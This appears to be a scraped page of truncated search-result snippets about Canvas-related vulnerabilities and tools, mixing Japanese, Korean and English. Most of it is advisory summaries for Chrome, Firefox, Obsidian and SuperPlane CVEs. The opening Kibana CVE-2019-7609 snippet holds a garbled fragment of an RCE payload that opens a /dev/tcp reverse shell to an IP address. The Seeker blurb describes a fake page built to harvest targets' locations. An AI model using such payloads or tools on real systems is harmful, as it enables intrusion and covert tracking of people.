kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Canvas をクリックして getshell...

CVE-2026-79193

CVE-2026-79193 is an information leak in the Canvas component of Google Chrome prior to 152.0.7977.65 . A remote attacker can exploit this vulnerability by delivering a crafted HTML page that leaks cross-origin data . Chromium classified the severity as Medium . The fix is available in Chrome 152...

CVE-2026-78987

CVE-2026-78987 is an information leak in the Canvas component of Google Chrome prior to 152.0.7977.65 . A remote attacker can exploit this via a crafted HTML page to bypass the web origin policy , potentially leaking cross-origin data. Chromium rates the severity as Medium . Remediation is to upd...

CVE-2026-78908

CVE-2026-78908 is an information leak in the Canvas component of Google Chrome prior to 152.0.7977.65 . A remote attacker could exploit this vulnerability by delivering a crafted HTML page , enabling a bypass of the web origin policy to leak information. Chromium rates the security severity as Hi...

sigint

SIGINT インタラクティブな地球儀上で航空機、船舶、地震、火災、天気、イベントをリアルタイム追跡するOSINTダッシュボード。Bun、React 19、カスタムCanvas 2D + Web Workerレンダリングエンジンで構築。PWAとしてインストール可能。 スクリーンショット 目次 SIGINT スクリーンショット 目次 機能 ライブデータ インテリジェンス ビジュアライゼーション プラットフォーム インストール クイックスタート 環境変数 データソース テスト デプロイメント 開発 本番 TLS対応本番 Heroku クリーンアップ PWA ドキュメント ライセンス 作者 機...

seeker

사용 가능 언어 Seeker의 개념은 간단합니다. 피싱 페이지를 호스팅하여 자격 증명을 얻는 것처럼, 많은 인기 있는 위치 기반 웹사이트처럼 위치를 요청하는 가짜 페이지를 호스팅하는 것입니다. 더 자세한 내용은 thewhiteh4t의 블로그 에서 읽어보세요. Seeker는 위치 권한을 요청하는 가짜 웹사이트를 호스팅하며, 대상이 이를 허용하면 다음 정보를 얻을 수 있습니다: 경도 위도 정확도 고도 - 항상 사용 가능하지 않음 방향 - 사용자가 이동 중일 때만 가능 속도 - 사용자가 이동 중일 때만 가능 위치 정보와 함께 기기 ...

CVE-2023-27035

CVE-2023-27035 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N 脆弱性タイプ: 不適切なアクセス制御 説明: Obsidian Canvas 1.1.9 で発見された問題により、リモートの攻撃者がキャンバスページ上の埋め込みウェブサイトを介して、デスクトップ通知の送信、ユーザー音声の録音、その他の未指定の影響を引き起こす可能性があります。 影響: 悪意のある埋め込みウェブサイトは、ユーザーの許可や知識なしにObsidianアプリケーション内の機密性の高いWEB...

CVE-2014-1773

CClipStack::PushClipRect の無効な配列インデックス まず、pageheap を有効にした状態でクラッシュ時のコールスタックを示します。 ChildEBP RetAddr 0919aac8 6b58459f MSHTML!CWorldTransform::IsAxisAligned 0919ab40 6ba228e9 MSHTML!CDispSurface::CClipStack::PushClipRect+0x1a2 0919aba4 6be25b58 MSHTML!CDispSurface::PushClipRectInternal+0x2f 0919abc0...

what-you-reveal

╦ ╦╦ ╦╔═╗╔╦╗ ╦ ╦╔═╗╦ ╦ ╦═╗╔═╗╦ ╦╔═╗╔═╗╦ ║║║╠═╣╠═╣ ║ ╚╦╝║ ║║ ║ ╠╦╝║╣ ╚╗╔╝║╣ ╠═╣║ ╚╩╝╩ ╩╩ ╩ ╩ ╩ ╚═╝╚═╝ ╩╚═╚═╝ ╚╝ ╚═╝╩ ╩╩═╝ 시스템 분석 도구 // 브라우저 지문 데모 What You Reveal 은 브라우저가 웹사이트에 노출하는 정보를 정확히 보여주기 위해 설계된 개인정보 분석 도구입니다. 레트로 터미널 미학과 투명성에 초점을 맞춘 강력한 메트릭을 특징으로 합니다. 설치 root@kitploit: 저장소 클론 git clone...

CVE-2026-74941

Privilege escalation in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 154, Firefox ESR 140.14, Firefox ESR 153.1, Thunderbird 154, Thunderbird 140.14, and Thunderbird 153.1...

Astra Linux – Vulnerability in Firefox and Thunderbird

Uninitialized memory in the Graphics:Canvas2D component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9...

CVE-2026-19331

A vulnerability was identified in bazylhorsey obsidian-mcp-server 1.0.0. This affects the function readCanvas/writeCanvas of the file src/services/CanvasService.ts. Such manipulation leads to path traversal. An attack has to be approached locally. The project was informed of the problem early...

CVE-2026-19331

Technical details about CVE-2026-19331 are not publicly available in the provided documents. Monitor for updates from the disclosure or vendor advisories.

EUVD-2026-54868

A vulnerability was identified in bazylhorsey obsidian-mcp-server 1.0.0. This affects the function readCanvas/writeCanvas of the file src/services/CanvasService.ts. Such manipulation leads to path traversal. An attack has to be approached locally. The project was informed of the problem early...

CVE-2026-19331 bazylhorsey obsidian-mcp-server CanvasService.ts writeCanvas path traversal

A vulnerability was identified in bazylhorsey obsidian-mcp-server 1.0.0. This affects the function readCanvas/writeCanvas of the file src/services/CanvasService.ts. Such manipulation leads to path traversal. An attack has to be approached locally. The project was informed of the problem early...

CVE-2026-57510

SuperPlane before 0.27.0 contains a broken object-level authorization vulnerability in the CanvasService gRPC handlers that allows authenticated users with viewer-level access to one organization to access resources belonging to other organizations by supplying arbitrary canvas or queue UUIDs...

EUVD-2026-49995

SuperPlane before 0.27.0 contains a broken object-level authorization vulnerability in the CanvasService gRPC handlers that allows authenticated users with viewer-level access to one organization to access resources belonging to other organizations by supplying arbitrary canvas or queue UUIDs...

CVE-2026-57510 SuperPlane < 0.27.0 Broken Object Level Authorization via CanvasService gRPC

SuperPlane before 0.27.0 contains a broken object-level authorization vulnerability in the CanvasService gRPC handlers that allows authenticated users with viewer-level access to one organization to access resources belonging to other organizations by supplying arbitrary canvas or queue UUIDs...

CVE-2026-57510

SuperPlane before 0.27.0 suffers a broken object-level authorization flaw in the CanvasService gRPC handlers. Authenticated users with viewer-level access to one organization can access resources from other organizations by supplying arbitrary canvas or queue UUIDs without proper organization sco...

CVE-2026-57510 SuperPlane < 0.27.0 Broken Object Level Authorization via CanvasService gRPC

SuperPlane before 0.27.0 contains a broken object-level authorization vulnerability in the CanvasService gRPC handlers that allows authenticated users with viewer-level access to one organization to access resources belonging to other organizations by supplying arbitrary canvas or queue UUIDs...